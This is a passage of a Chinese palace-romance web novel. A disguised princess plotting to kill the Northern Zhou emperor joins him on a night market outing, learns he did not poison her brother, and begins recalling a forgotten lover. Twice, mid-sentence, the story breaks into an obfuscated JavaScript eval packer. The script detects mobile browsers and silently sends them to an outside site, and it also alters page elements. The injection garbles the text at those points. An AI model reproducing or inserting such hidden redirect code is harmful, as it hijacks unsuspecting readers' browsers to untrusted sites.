太后倒是颔首,“听闻昨日春闱开考,估计那些文章都做得不错吧,” 说着又将目光投向明熙,试着道,“吹完之后呢?” 明熙,“……吹完之后陛下便睡了。” 却见太后顿了顿,又问,“陛下一个人睡的?” 明熙,“……” 这话问的,难不成那狗贼还叫一班小太监陪着他睡? 当然,腹诽归腹诽,明熙还是晓得太后想知道的是什么,遂直接了当道,“回太后,昨夜乃是陛下一人在寝殿就寝,高公公与小林子几个在寝殿外值守。” 话音落下,却见太后顿了顿,才颔首道,“如此便好,切记,你是哀家派到陛下身边的,务必要照顾好陛下起居,不要辜负哀家信任。” 明熙又应了声是,见太后抬手叫她退下,便行礼出了殿中。 身后,太后目送她出了院子,又叹了口气。 王嬷嬷赶忙关问,“娘娘这是怎么了?” 太后却有口难言—— 昨儿亲自来问她要人,眼下要过去了,怎么也不碰? 她这个儿子……该不是有什么毛病吧? …… 好不容易出来一趟,明熙自然得多办些事,离开寿安宫后,忙去了内府局。 这次倒终于瞧见了赵怀,她给了个眼神,很快便见赵怀从院中出来,随她到了僻静处说话。 “听说您昨儿不舒服,如今可好些了?” 明熙有些奇怪,“你怎么知道我昨日不舒服?” 却见赵怀道,“听御药房的人说的。” 明熙并未起疑,只道,“还好。你昨日去哪儿了,我来都没见到你。” 赵怀顿了顿,道,“前晚被调到司礼监帮他们整理内库去了,下午才回来……” 司礼监? 那可是离北周前朝最近的地方,明熙意外道,“你要升迁了?” 赵怀却只想跟她聊别的,“只是临时调去帮忙而已,不过我昨儿听到一桩秘闻,先帝可能并非死于那人之手,您眼下莫要急着动手。” 22.第 22 章 什么,哥哥不是那萧狗贼害死的? 明熙忙问赵怀,“你如何知道?” 却见赵怀道,“那时您赶到建业,先帝已经殡天,宫中人都说萧妃以毒酒弑君,而后被北周接回。可其实,萧妃并未回到北周,昨日那安平王还曾三度上书周帝,求他帮着寻女儿萧妃的身影……若果真是周帝指派萧妃投毒,他们还用得着如此找人吗?” 明熙皱起眉来—— 这萧妃乃是哥哥的嫔妃,当初北周势弱,为向建业示好,曾派了一名宗室之女,即这北周安平郡王的长女箫慧音去和亲。 父皇将其赐给了当时还是太子的哥哥做了侧妃,待到哥哥登基,又为其封了妃位,人称萧妃。 那时哥哥中毒后,她即刻回到宫中,得知哥哥中毒之前正是在那萧妃宫中饮的酒,而哥哥毒发后,那萧妃竟连夜消失,整个南齐都遍寻不着。 那可是在她们南齐! 萧妃一个外来的妃嫔,又无甚实权,若无细作接应,又如何能凭空离开国境? 所以对赵怀的话,她还是有些怀疑。 “此乃两国间深仇,且并不光彩,萧妃便是回来了,又岂会光明正大招摇过市?未准安平王此举只是掩人耳目罢了。” “或者安平王不知实情,那萧妃回来后并未与其相见。他前来找女儿也在情理之中。总之仅凭这一点,并不能说明什么。” 却见赵怀一噎,“可……周帝这个人,或许没那么坏……听说北周大军所到之处,未动百姓分毫,他们还帮着咱们的百姓耕种,修房舍……” “这些你怕不是听此处大臣说的?” 明熙冷笑一声,又哼道,“那狗贼就算果真叫他们烧杀抢夺,又岂会承认?再说,我们的百姓本与他们无冤无仇,他们占了我们的地,也本该护着百姓才是!眼下那些大臣正盼着那狗贼在我们的地界上设郡县衙门,用不了多久,咱们的天下也要跟着他们姓了!” 这…… 赵怀一时不知说什么,却是眉头紧皱,很是忧愁的模样。 明熙却忽然觉得不对,审视他道,“你是被他们要挟了,还是被他们收买了?怎么今日处处替他们说话?” 却见赵怀着急起来,“小的岂敢背叛您?小的对天发誓,若对您有二心,必遭天打雷劈,死无葬身之地!小的只是不希望您出事……” 说着连眼圈都红了。 “罢了,” 明熙这才道,“你们的心我都知道,但历尽千难才走到这一步,我也自不会鲁莽行事,你出来的时候不短了,快些回去吧。” 赵怀应是,目送她走远了,又不由在心间叹了口气。 ——前夜周帝将他捉去,他才知道,原来周帝早已认出了他们,之所以按兵不动,却是因为其与公主原来早有情缘…… 但这段情缘,却恰恰又被公主给忘却了。 眼下最要紧的,已经不是他们南齐的先帝究竟死于谁手,毕竟死都死了,但公主还活着! 虽则周帝没有杀心,但公主一旦出手,这事情可就无法逆转了! 得想个法子,叫公主赶紧知道真相才是! …… 与赵怀分别后,明熙重又回了乾明宫。 一切与昨日并无什么不同,乾明宫中依旧一派忙碌,唯有她一个闲人,摆弄了半天花草,连银桂一整颗树的叶片都快擦完了,才好不容易熬到天黑。 眼看殿内殿外皆已掌灯,却迟迟不见典膳司来送御膳,她不由去问高寿,道,“已经这个时辰了,陛下还未吩咐摆膳吗?” 却见高寿一笑,“陛下说今日另有安排,姑娘无须担心。” 说着又叫人拿了一套衣裳给她,道,“这儿有套便装,先请姑娘回去换上吧。” 明熙不由奇怪道,“为何要我换便装?” 却见高寿低声道,“陛下说了,今儿政务少些,等会儿忙完,想带姑娘去城中逛逛呢。” 什么? 明熙不由睁圆了眼睛,那狗贼要带她去宫外逛? 葫芦里又卖的什么药? 她试着问道,“不知陛下都要带谁?” 却见高寿又一笑,“就您二位。” 明熙又暗自皱眉,狗皇帝就带她去? ——莫非是嫌宫里人多眼杂,将她带出去后好欺负? 不过……在外头她倒亦更好动手,没准待杀了那狗贼,还可有脱身之机。 如此想着,她便应了声好,接过那套便装回房换好,当然也不忘别好软剑。 想了想后,又带了些碎银。 ——虽则不多,好歹是这些日子赚的辛苦钱,万一得手后有生机,路上也需要些盘缠不是? 如此收拾妥帖,恰好高寿也派了人来叫她,她便去到殿前,正见到一身便装的萧元彻。 竹青色的长衫,墨发上只戴了玉冠,此时的他不再是威严的帝王模样,却叫她有些熟悉之感。 ……就仿佛曾在哪见过一般。 但回想自打初次在寿安宫见他,他并未如此装扮过,或许是她想多了。 明熙上前行礼,道,“参见陛下。” 却见萧元彻道,“从现在起不必行此大礼,上车吧。” 便在前走了起来。 明熙应是,跟着来到院外,果然见到一辆外表看起来十分寻常的马车。 萧元彻先蹬了上去,明熙便紧随其后,但见车内再无其他闲杂人等,只有一名驾车的车夫在马车外。 很好。 如此等会出手,车外便是有暗卫也来不及救他。 哪知正这么想着,却见那人又将车帘撩开,对外头的高寿吩咐了一声,“你也上来。” 什么??? 明熙与高寿同时一愣。 “陛,陛下叫奴才?” 高寿满脸不信自己耳朵的模样。 却见萧元彻一脸莫名道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535428|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不然是叫谁?” 这令高寿又是一愣,“可……可奴才还没有换装。” 萧元彻又道,“无妨,等会儿在车上等着便是。” 高寿,“???” 他在车上等着,那还去干嘛? 但又不敢腹诽,又下意识看了看明熙后,才迟钝应了声是,然后费力爬上了车。 要知道,这驾马车可不比御辇,人在里头根本站不直,眼见高寿还弯着腰站着,萧元彻又道,“坐下便是,” 哪晓得高寿连连摆手,“奴才岂敢与陛下同坐?奴才站着就好。” 直到萧元彻又道了一声“坐,”才终于坐下。 面上还是满满的惶恐,就仿佛屁股底下的不是软垫,是针尖一样。 …… 明熙冷眼看着面前一幕,愈发觉得那狗贼脑子里有什么大病。 —— 不是说只带她去吗? 眼下这不大的马车里塞了三个人,高寿又胖些,叫空间愈发有限,她的剑抽不抽得出来都未必。 便是能抽出来,只怕也要先削掉高寿半边身子,才能劈到他身上…… ——昨晚吹箫时高寿也在身边,今日出去还要带着高寿去逛街…… 明熙甚至有些怀疑,这人怕不是个断袖? 迟迟不设后宫,怕不是因为喜欢高寿吧??? 真是有病! …… 拥挤的马车起行,一路离开皇宫,因着尴尬的气氛,车中一片寂静。 眼下出剑是不必想了,明熙无聊之下,暂且将目光投向车帘的缝隙中。 依稀能瞧见路上风景,马车起初行在一片宽阔街上,两旁皆是高墙大宅,偶有灯火,一片寂静。 渐渐地,眼看周围灯火繁茂,人声嘈杂起来,车速也慢了下来,想来应是到了闹市。 而没过多久,车轮彻底停下。 萧元彻撩帘看了一眼,道,“到了,下车吧。” 明熙便应是,从车上落了地。 紧接着,萧元彻也跟着下了来,又同车夫交代了一声,便见马车往前去了。 隔着飘动的车帘,依稀能望见里头老老实实坐着的高寿一脸欲哭无泪的神情,直叫明熙也不由生出几分同情之心。 但很快,她又被周遭环境吸引了注意。 原来落脚处是一处热闹的大街,他们正立在街首。 往前望去,那街上游人摩肩,商铺云集,灯火明亮,犹如一条热闹的火龙笔直又宽敞。 这里的建筑并不同于建业,但这热闹的气氛,又叫她仿佛回到了建业。 “这便是上京最热闹的街市。” 耳边忽然传来萧元彻温和的声音,“走,去看看。” 说着他便抬步起来。 明熙回神,也跟着走上前去。 —— 嗯,无需灰心,这街上人多,找机会再出剑,也是一样的。 23.第 23 章 明熙当然晓得,作为一国君王,此时暗处必定有影卫在保护萧元彻,所以也并不急于动手。 姑且看看这北周的街市,只见街边商铺云集,有布匹成衣店,针线女红店,首饰胭脂店,亦有香料茶叶店, 各类物资一应俱全,甚至不乏从南诏,吐蕃等异国来的物产。 除过大的商铺,街边还有些食摊,桌椅碗碟看起来都十分简单,却不乏食客。 有个卖羊肉面的摊子,十张小桌都坐得满满,食客们人手一碗热腾腾的羊肉面,只闻一片吃面声,很是壮观。 那羊肉面的香味扑面而来,却见萧元彻回头问她,“出来的匆忙,未来得及用膳,可饿了?要不要吃点什么?” 明熙确实有些饿了,但要吃这粗犷的羊肉面…… 她摇了摇头,宁愿空着肚子。 “奴……不饿,公子自便就好。” 那人似乎看出她心间所想,又一笑道,“这街上有家馄饨店,听说味道尚可,不妨去看看。” 馄饨? 明熙又不由暗自挑眉,她从前倒是喜欢吃馄饨,可那是建业的馄饨,皮薄而滑,能瞧见其中的肉馅,浸在清亮鸡汤中,伴着一点虾皮与菜碎,看似清清淡淡,却唇齿余香。 谁知这北周的馄饨又是什么样子? 然没容她拒绝,那人已经径直往前走了,她也只能跟上。 走了一阵,来到巷子里一间不大的小铺子前,但见连招牌都没有,只是在门口支着大锅与案板,有位老翁正拿着粗粗的面杖在擀皮,身边的老妇人则在包馄饨。 而萧元彻仿佛这里的常客,踏进门后便径直对那夫妇俩道,“烦请店家,两碗馄饨,一碟酥鱼,一碟酱肉。” 那老夫妇也立时应好,煮馄饨的煮馄饨,切肉的切肉,都各自忙活起来。 明熙随萧元彻找了张靠墙的桌子落了座,又忍不住打量四周,只见店里很是简陋,木条桌椅已经掉了漆,却胜在干净无尘。 她心间有些奇怪,这种地方,这人是怎么找到的? 没容多想,老妇已经将两碟肉食先送上了来。一只碟中是红润的酱肉,切成薄片,夹杂些许酱色的肉冻,摆得整整齐齐;另一只碟里则是两条手掌大的鲫鱼,烹成酱色,散发出香味。 “来。” 萧元彻递了碗筷给她。 明熙本不想与他同吃,但见他执意,只好道了声谢,将碗筷接了过来。 却见萧元彻又向店家多要了双筷子,夹了两篇酱肉先放到了她的碗中, “试试看是否合口味。” 明熙,“……” 只好又道了声谢。 本不想吃的,但肚子着实有些饿了,眼见那人已经吃了起来,她便也试着尝了一口。 嗯? 肉片已经卤至酥烂,不需怎么咀嚼便已经化在唇舌之中,咸淡相宜,荤香中交织着酱香,竟很是适口。 “还不错吧,再尝尝酥鱼?” 萧元彻又用干净的筷子给她夹了一条酥鱼。 明熙,“……谢公子。” 罢,尝就尝, 毕竟今晚若真能抓住机会将这狗贼毙命,她也大抵九死一生。 ——做只饱鬼,总比做只饿鬼要强。 她便试着剔了块鱼肉放在口中。 咦,鱼肉鲜香,中间夹杂的些许小刺已经酥烂,竟也很是不错。 且咸香中带着微微回甜,竟很有些南国的味道。 紧接着送上来的馄饨更加叫她惊艳。 才出锅的馄饨冒着热气,被放到她的面前,扑面而来的香味告诉她,碗中乃是用鸡与猪骨熬成的汤,馄饨皮虽没有薄到透明,但一个个圆圆鼓鼓,看起来也很有食欲。 大抵是方才酱肉与酥鱼的引诱,此时肚腑愈发饿了起来,眼见萧元彻已经开吃起,她便也舀了一只,吹了吹,送入口中。 面皮筋道,透着麦香,紧实的肉馅中搀着花椒的香味,还夹杂些许碎虾米与葱碎,吃起来鲜香可口。 不得不说,这馄饨虽不同于建业的口味,却也是她意料之外的好吃。 “还可以吧?” 萧元彻面上带着笑意问她。 明熙正欲点头,却忽然有一瞬恍惚—— 就仿佛梦里出现过的场景,她也曾同一男子一起在街边吃过馄饨,但问好不好吃的人,是她…… 这又是何时发生过的事? 但除此之外再无更多画面,明熙只好先回答萧元彻道,“好吃。” 说着又道,“这味道,似乎与上京的口味不太一样。” 却见一旁的老妇笑道,“姑娘嘴巴蛮灵,我们确实是打南边过来的。这馄饨可是用我们淮州的传统做法,再结合咱们大周的口味改进了的。” 淮州? 那不就在建业附近。 原来竟是遇上了同乡? 明熙不由又问,“二位怎么会千里跋涉,来到上京卖馄饨?” 话音落下,却见那擀面皮的老翁叹了口气,“姑娘有所不知,我们祖辈原本在淮州耕种几亩薄田,不求大富大贵,日子还过得下去,怎奈几年前官府强占了我们的地,说要要修建道观,我们百十来户村民无处安身,只能背井离乡四处讨饭。后来又遇到战乱,那些叛军见人就杀,我们为了活命,只能投靠了大周。” “所幸有同乡帮忙,引着我们一路来到建业,做些小买卖,姑且算是安下身来。” 话到此处,又有食客进了店,老翁暂且中断谈话,煮馄饨去了。 明熙心间却沉重起来—— 当年父皇沉迷修道,的确在建业周遭大兴土木,致使无数百姓流离失所。 后来哥哥登基,朝政又被谢氏把持,他虽有心安抚流民,却无力改变现状。 而她那时太过年轻,并不懂民生疾苦,只是一味避世,并未做过什么对百姓有用的事…… 眼见老翁将一碗馄饨煮好,送到食客桌上,她便又问,“那你们来到上京可还好?” 却见老翁又点头笑道,“好,这里顾客和善爽快,从不赊钱。最要紧的,官府也不为难咱们,街坊邻居还都相帮,并未欺负咱们是外地来的。” 老妇人也忍不住插了一句,“说句不该说的,这都是咱们大周陛下仁德啊!南边……可不能比,如今那魏家完了,南边的百姓也算得见天日了!” 明熙,“……” 忍不住看了面前某人一眼,却见其正在吃馄饨,一语不发。 若非这店里有其他食客,她甚至有些怀疑,这馄饨店是这人自己安排的…… 被人戳着脊梁骨骂,总归是不太舒服的,她便问那一脸若无其事吃馄饨的某人道,“我看着店并不显眼,公子是怎么找到这里的?” 却见萧元彻道,“当年曾在建业吃过街边的馄饨,回来后时常怀念,但家中厨子却做不出这样的味道。偶然一次发现了这家店,尝着还不错,虽不是建业那种薄皮的,但也别有一番味道。” 说着又瞧了瞧店外来往的游人,笑道,“大约胜在这市井烟火气。” 明熙却不由皱眉—— 他在建业时不应都在质子馆待着么?竟也能出去吃小吃? 她又道,“那公子在建业的日子,过得可好?” 却见萧元彻道,“如若鱼肉置于刀俎 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哪知正在此时,却听见一个熟悉的声音—— “这可是打建业运来的胭脂,这个价格可不贵啊!” 那可是自幼伴她长大的人,明熙赶忙回头寻找,果然在不远处的一家脂粉摊上,看见了凌雪。 ——她本有四个厉害的近卫,即凌风,凌云,凌霜,凌雪师兄妹四人,皆是当初国师所赠,一直跟在她左右,护她周全。 国破之后,凌风被她派去保护侄儿,凌霜随她入宫,凌雪在外联络各处,只有凌云却不知所踪。 此时,凌雪也正向她看来,四目相对,微微颔首。 明熙看了眼行在前头的萧元彻,待他来到一处卖刀的摊贩前驻足,便悄悄溜到了凌雪摊前,装作挑选脂粉。 “姑娘,您可还好?” 一别三月,终于又见到她,凌雪难言目中喜悦。 “我还好。” 明熙也高兴,忙轻声问道,“什么时候来的?其他人可还好?” 凌霜忙道,“凌风与陛下在一处,与我有书信来往,陛下还好,您可放心。我们的人已经混进了太府寺的田庄,每隔两日会给宫中送菜,姑娘可找机会传递消息。” 侄子还好,且身边有她的人护着,太府寺也有了自己的人,也是好事,明熙放了放心,又道,“凌云可找到了?” 却见凌雪摇头,“还没有。” 明熙不由心间发沉。 “我们会继续找二师兄,姑娘别急,” 机会难得,自是要捡重要的说,凌雪忙又道,“难得等您出宫,有要紧事要禀报与您,先帝并非被北周所害,真凶另有其人。” 什么? 明熙一顿。 却见凌雪续道,“先帝并非饮毒酒身亡,那毒物乃是由御膳而来。且就在先帝毒发之时,御膳房也有一名厨子身亡,尸体却凭空消失,我们的人后来在建业郊外乱坟岗找到其遗体,验出其亦是中毒而亡,所中之毒,与陛下是一样的。” 明熙忍不住皱起眉来。 ——如此说来,难道是厨子下毒,后又被灭口? 她忙问道,“可查出指使之人?” 却见凌雪道,“暂未,但那厨子有一徒弟,事后从宫中逃走,据说来了上京,我们正在追查。” “还有,萧妃并未被人接回北周,而是与昔日宫中一名羽林卫私奔去了南诏。” 24.第 24 章 什么? 萧妃与羽林卫私奔? 此话包含的因素着实有些多,明熙愣了一下,“哪里来的羽林卫?” “那人原是建业吴家的小儿子,” 却见凌雪咳了咳,道,“其与萧妃早有私情,先帝出事之后,他便连夜带着萧妃跑了。” “……” ——哥哥的妃子与宫中侍卫有私情,还一起私奔了? 明熙只能道,“此事确凿?” 却见凌雪点头,“已经找到了萧妃的贴身宫女,是其交代的,且也在南诏发现那二人踪迹。” “……” 明熙又是半晌没说出话来,心间却已经分明了。 那萧妃是外来的妃嫔,除过一个妃位,手中并无半分实权。后宫又有嫂子谢氏把持,其绝不可能指挥得了御膳房的厨子给哥哥投毒。 看来,哥哥竟然真的不是北周害死的。 凌雪忙又叮嘱她道,“而今之计,只有找到逃走的厨子徒弟才能知道真凶,所以您先不要对周帝动手。” 说着眼见前头的萧元彻已经将手中匕首放下,便又扬声道,“看姑娘这么喜欢,就便宜点卖给您好了,十五文,一盒胭脂,再送您一小盒唇脂。” 明熙也回神,从兜里拿了几枚铜钱递给凌雪。 凌雪将胭脂包好放入她手中,又低声说了最后一句话,“城南水街芙蓉社,是我们的地方。” 明熙颔首,接过胭脂,转身朝萧元彻走去。 “买的什么?” 待来到近前,却见萧元彻问她,明熙便道,“看见那里的胭脂不错,便买了一盒,公子呢,怎么没买匕首?” 却见萧元彻道,“说是柔然宝刀,实则假货罢了。走吧,再去前头看看。” 便朝前头继续抬步了。 明熙忙又跟上,心间忍不住又暗自思量—— 虽则此人并非害死哥哥的真凶,但她南齐大部的国土还在其掌控之中…… “今日银钱充足,倘有什么看上的,尽管买便是。” 正在此时,萧元彻又转头看她。 明熙下意识抬眼,对上了一双含笑的眼眸。 ——也罢,姑且等到真凶水落石出再说,倘若打草惊蛇,反叫真凶逍遥,可就不好了。 她也回以淡淡微笑,道,“谢公子。” 眼下不必想着再动手,明熙便将注意力转到周遭,这才发现,路边多了许多有趣的东西。 比如有个高眉深眼的摊贩,卖的是各种兽皮,有野外的牛皮羊皮,甚至还有狐狸皮与狼皮,叫人胆战心惊。 还有卖羊杂的摊子,大锅里滚着浓香的汤,锅边却摆着一个个卤好的羊头,看得人不由皱眉,摊上的食客们倒吃的津津有味。 还有一个卖面具的,不知是哪里来的面具,有青面的人脸,长得大大的獠牙,头顶还有红色的毛发。 还有白色的人脸,面容祥和,额上却围了一圈小的骷髅头。 着实叫明熙大开眼界。 她好奇上前仔细观看,萧元彻也跟了上来,拿了一支在手中翻看。 “这是哪里的面具,从前倒没见过。” 她问那卖面具的摊主。 却见大眼睛高鼻梁的摊主用不甚流利的汉话道,“这是吐蕃的神像,买一尊放在家里,可以驱邪。” 驱邪? 明熙倒并未当回事,看过新鲜后,正打算离开,却瞥见身边的萧元彻拿了一支青色的面具正往脸上带。 转眼间,临风玉树的美男就变成了一只獠牙的怪物。 “……” 堂堂一国之君,竟也有如此幼稚的时候。 明熙心间腹诽了两句,然不经意瞥见其从面具下露出的侧脸,却忽然一愣。 ——那条流畅又分明的下颌线,竟如同她昨夜梦中人一样…… 这是怎么回事? 她呆呆看着他,一时忘了移开眼。 直到那人开口问她,“怎么了?” 明熙回神,这才道,“没什么,公子戴这个面具,还挺合适的。” “是吗?” 面具后的人一笑,“那便买下吧。” 说着便拿钱给那摊贩。 明熙却愈发呆愣起来—— 他方才笑起来时,更像了…… 哪知就在此时,身后忽然响起一个声音—— “这位姑娘……不知可否借一步说话?” 明熙回神转头去瞧,却碰上了一双不怀好意的三角眼—— 说话的是个身材矮小,一脸猥琐的男子,正呲着满嘴的大牙对着她笑,直把明熙看得一脸莫名,道,“认错人了吧。” 便重又回过头去。 哪知对方又绕到她前头道,“没认错,今儿这条街上就数姑娘最好看了。” 说着又指了指一旁,“我们公子方才就瞧见您了,一路追到此处,想要认识一下姑娘。” 话音落下,又见一身形微胖的男子走上前来对她道,“难能在上京见到如此美人,叫人过目不忘,不知姑娘是哪家闺秀?” 呵,她是哪家闺秀,与这个一脸纵欲过度的淫贼又有什么关系? 明熙本打算说一句“无可奉告”,却见戴着面具的萧元彻将她拉到了身后,道,“她是我家的,你们可以走了。” 哪晓得那淫贼却又一笑道,“方才明明听见这姑娘叫你公子,想来应是府上的丫鬟吧。本公子难得有一见倾心的姑娘,愿出高价买到身边,还请兄台忍痛割爱。” 什么?出价? 明熙简直要笑出声来,她长这么大,还是头回见到敢买她的人。 呵,不是说这上京治安很好么? 原来一样有这等不知天高地厚的混蛋。 而不必她说话,却见萧元彻立时又与那混蛋道,“她非下人,且万金不换,尔等莫要再纠缠。” 语罢拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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明熙摇了摇头,“还好,” 说着又迟钝的反应过来,瞅了瞅车中道,“高公公呢?” ——方才下车时满脸可怜的高寿,竟不在车上。 却见萧元彻唔了一声道,“许是方才下车透气去了,不必担心,等会儿自有人带他回来,” 说着便随手摘下了一直带在脸上的面具。 明熙看在眼中,又不由一愣。 ——他摘面具的模样,仿佛在哪里见到过。 而紧接着,她的脑中忽然又闪过一个画面—— 她在疾驰的马车中,浑身燥热,很是难受,有个戴面具的男子紧紧抱着她,还不住轻声安慰。 她却不停往那人身上爬,还妄图扯开自己的衣衫…… 紧接着,场景又变成了建业宫中的一场宴饮,哥哥正举杯,叫她尝尝自己新酿的梅子酒…… 明熙的头忽然剧烈疼起来,眼前一黑,往一旁倒去…… 25-30 第25章 魏明熙啊魏明熙!你怎能…… 失去意识之前明熙最后的记忆,是萧元彻慌忙将她揽在怀间,着急唤她阿真,又叫车夫快些赶车回宫。 而等她再醒来,已经在乾明宫的值房中了。 动了动眼皮,视线中出现了一张好看的脸,那人原本敛着长眉,一瞬间又变成了惊喜,急忙问她道,“阿真,你醒了?” 阿真? 尚不甚清醒的明熙还以为回到了建业,不知为何,鼻子发酸,一股委屈涌上心头,竟然险些落下泪来。 然而正在此时,又有一张白胖的圆脸出现在了面前,瞧了瞧她后,立时高兴道,“念贞姑娘是真醒了。” 念贞? 这又叫明熙的理智回到了眼前,对了,建业早已沦陷,她如今身在北周宫中,是来刺杀那狗贼萧元彻的! 方才本在街上,哪知她忽然头疼晕倒了。 不成,哪能叫这些人如此守着她? 她便要起身下床,哪知萧元彻却按住她的肩道,“不要急着动,方才御医才给你诊治过,你脑中有淤血。” 淤血? 明熙又是一愣,却见萧元彻又对一旁吩咐道,“你来看看,她现在如何。” 紧接着,又有一人应是后到了她眼前,明熙瞧去,竟然是上回在御药 房给她看病的那个年轻大夫。 ……是这人说她脑中有淤血的? 明熙满脸怀疑的道,“可这位大夫上回不是说我没事么?” 却见那御医尴尬笑道,“上回为姑娘诊脉时间太短,竟没看出来,但今次姑娘晕倒,定是因为脑中淤血的事,不知姑娘此前是否头部受到过撞击?” 这个么…… 明熙心间顿了顿,自不能说在建业遇刺的事,故而只能道,“从前在家时确实曾摔倒过,不小心在石头上磕到了头。” 却见那御医点头,“那就是了,上次的摔伤导致姑娘脑中有淤血,平素还好,一旦跑跳等激烈活动,或是情绪起伏,便可能会发作导致姑娘晕倒。所以,姑娘往后还需尽力避免此种境况的好。” 激烈活动? 闻言明熙不由瞥了一旁的某人,啧,今夜也不知是谁带她跑的? 好在那人还算有数,立时开口道,“是朕不好,不该拉着你跑……” 说着又问那御医,“眼下该如何应对?” 那御医道,“启禀陛下,眼下应先叫许姑娘休养几日,吃些汤药,看能否化解脑中淤血再说,在转好之前,勿要再剧烈运动,情绪激动起伏等等。” 明熙不由皱眉,这意思,怕不是她近来就出不了剑了? ……不过说起来,前几次她每每头疼或昏倒,也的确与情绪起伏有关。 罢,左右如今谋害哥哥的真凶尚未找到,她便道,“多谢大夫。” 那御医点了点头,却见又一宦官到了房中,对萧元彻道,“陛下,羽林卫已经将那伙人全部捉拿,不知眼下押往何处?” 萧元彻道,“可查到是哪家的?” 却听来人道,“据查证,乃是武安侯府的三公子安昌宗。” 武安侯府? 明熙不由暗忖,这个侯府似乎与大长公主有些关系? 却见高寿与萧元彻道,“陛下,晋阳侯夫人的娘家,正是武安侯府。” 明熙了然,那晋阳侯是大长公主的大伯哥,如此说来,今晚街上那个闹事的淫贼,便是晋阳侯夫人的娘家侄子了。 多多少少,倒也确实与大长公主有些关系。 呵,在这遍地王公的上京,一个侯府的公子都能如此耍横,想来,这武安侯府定是借了大长公主不少势的。 却不知萧元彻要如何处理? 罚得重了,只怕那大长公主要进来掺和。 但若是不罚,他君王的面子又何在? 却见萧元彻并未有何犹豫的径直发话,“押入刑部大牢,给朕好好审,看其今夜那般嚣张,定不是头一回如此,务必将其从前做过的恶事都查出来!” 宦官应是,立时出去传命。 明熙倒有些意外,看这意思是要严查? 她上回可是听青黛提过那大长公主有多专横,不知对方是否肯罢休? 然紧接着,却见小林子端着一碗汤药进了房中,对萧元彻道,“陛下,许姑娘的药熬好了。” 药? 明熙一愣,却见萧元彻已经招手叫小林子把药送到近前,又对她道,“趁热把药喝了吧。” 那苦苦的药味直钻鼻子,明熙立时皱眉道,“先放床边吧,奴婢一会儿会喝的。” 啧,她可是最讨厌喝药的! 从小到大,能不喝就不喝,好几回都是把人支出去,再偷偷把药倒了,遇到没办法倒的,便跟身边人软磨硬泡,能少喝几口便少喝几口。 哪知萧元彻仿佛知道她打算一般,从小林子手上接过药碗,又吩咐道,“再取几只碗和蜂糖来。” 小林子应是,立时又送来两只碗并几块蜂糖,萧元彻将那碗苦药分成三碗,温声与她道,“来,喝一碗,吃一块糖,很快就喝完了。” 明熙,“……” 奇怪,他怎么知道从前赵怀几个便是如此哄她喝药的? 眼下这屋子里一堆人,萧元彻更是不错眼的望着她,她自知躲避不过,只好照着他说的做,一碗药一块糖的接连入了口,好歹把一碗苦药咽到了肚子里,那人又及时送上一杯清水叫她漱了口,再含上一块蜂糖,世界终于美好了。 而后明熙便发现,方才还在屋里的高寿,御医及小林子几个,不知什么时候离开了。 萧元彻也道,“早些休息,这两日养病就好,不必到前殿去。” 明熙想同他道声谢,但见他又朝自己伸手过来。 她下意识便要躲,哪晓得他只是帮她放平了枕头,扶她躺了下去。 而后,又帮她掖了掖被角,这才起身出了房门。 房中终于清净下来,明熙想合眼,但床头那盏烛火跳的人心间难以安静。 她起身把灯吹灭,正欲躺下,又瞧见窗外透进了前殿的灯火。 这意味着,那人回去后又在忙碌。 脑间不由浮现出馄饨店老妇的那句,“大周陛下仁德”…… 的确,这样的场景,她也是来到这乾明宫后才见到的,不得不承认,相较于此人,她的父兄实在太过不称职。 她重又躺回枕上,脑间又忍不住思索昏倒前脑子里闪现的画面—— 哥哥的酒,还有宫宴…… 不知是不是才喝下的汤药起了作用,明熙忽然有了些线索—— 应是四年前的中秋前夕,有西平使臣到访建业,全程由哥哥这个太子招待。 那场宫宴,是哥哥在东宫举行的家宴,赴宴者除过她的哥嫂,西平国王子李卓贤,还有南齐的几位年轻世家子弟,以及她这个公主。 西平国有意与南齐结盟,那李卓贤是来向她求婚的,但她却看不上对方。 然朝中却有不少大臣极力赞成这门婚事,屡屡上书父皇,想将她嫁去遥远的西平。 她心间烦闷,喝多了哥哥酿的梅子酒,而后便发生了马车上的那一幕…… 回忆到此,明熙已然紧张起来,然没等再想,脑子里忽然不受控制的又冒出了一些画面。 城郊的庄园,无人的寝殿。 她与一个男子痴缠交织,足足持续到半夜…… 嘶…… 明熙倒吸一口凉气,她竟然,真的跟二郎有过,床笫之欢…… 不错,那戴着银色假面,前胸甚是紧实,且个子高挑的男子,除过那位曾深得她“欢心”的二郎,还能有谁!!! 虽则后面的记忆一时还找不出来,但照那时凌霜的说法,那夜过后,父皇忽然驾崩,她便将二郎给赶走了…… 老天!!! 她这般行径,跟那些荒唐的堂姐妹们又有什么区别?!! 她在山中避世四年,竟然从未想过要去寻找二郎。 且又在受伤后将其忘了个干净??? 现在看来,此前脑间莫名出现的恍惚与画面,怕不都是她与二郎之间曾真实发生过的…… 她还曾在梦中将其换上了萧元彻的脸…… 魏明熙啊,魏明熙! 你怎能如此荒唐!!! …… 明熙自此背上了沉重的自责,这一夜,怕是再难入睡了。 ………… 第二日,天才刚亮,大长公主府已经迎来了拜访的客人。 时辰实在有些早,来人在花厅中等了半晌,方见大长公主萧应澜打着哈欠驾临,懒洋洋的道,“这一大早的,何事这么着急?本宫这头还未梳好呢?” “求殿下救救昌儿啊!” 只见她的嫂子,晋阳侯夫人安氏带着女儿孙宜兰一下跪到了她面前哭道,“臣妇的娘家侄儿昌宗昨夜被羽林卫抓走,如今已被关在了刑部大牢,臣妇的兄长及侯爷想前去问一下,竟是连见都不准见。” “什么乱七八糟的?” 大长公主听得十分糊涂,“好好的,羽林卫为何要抓安家的小子?” 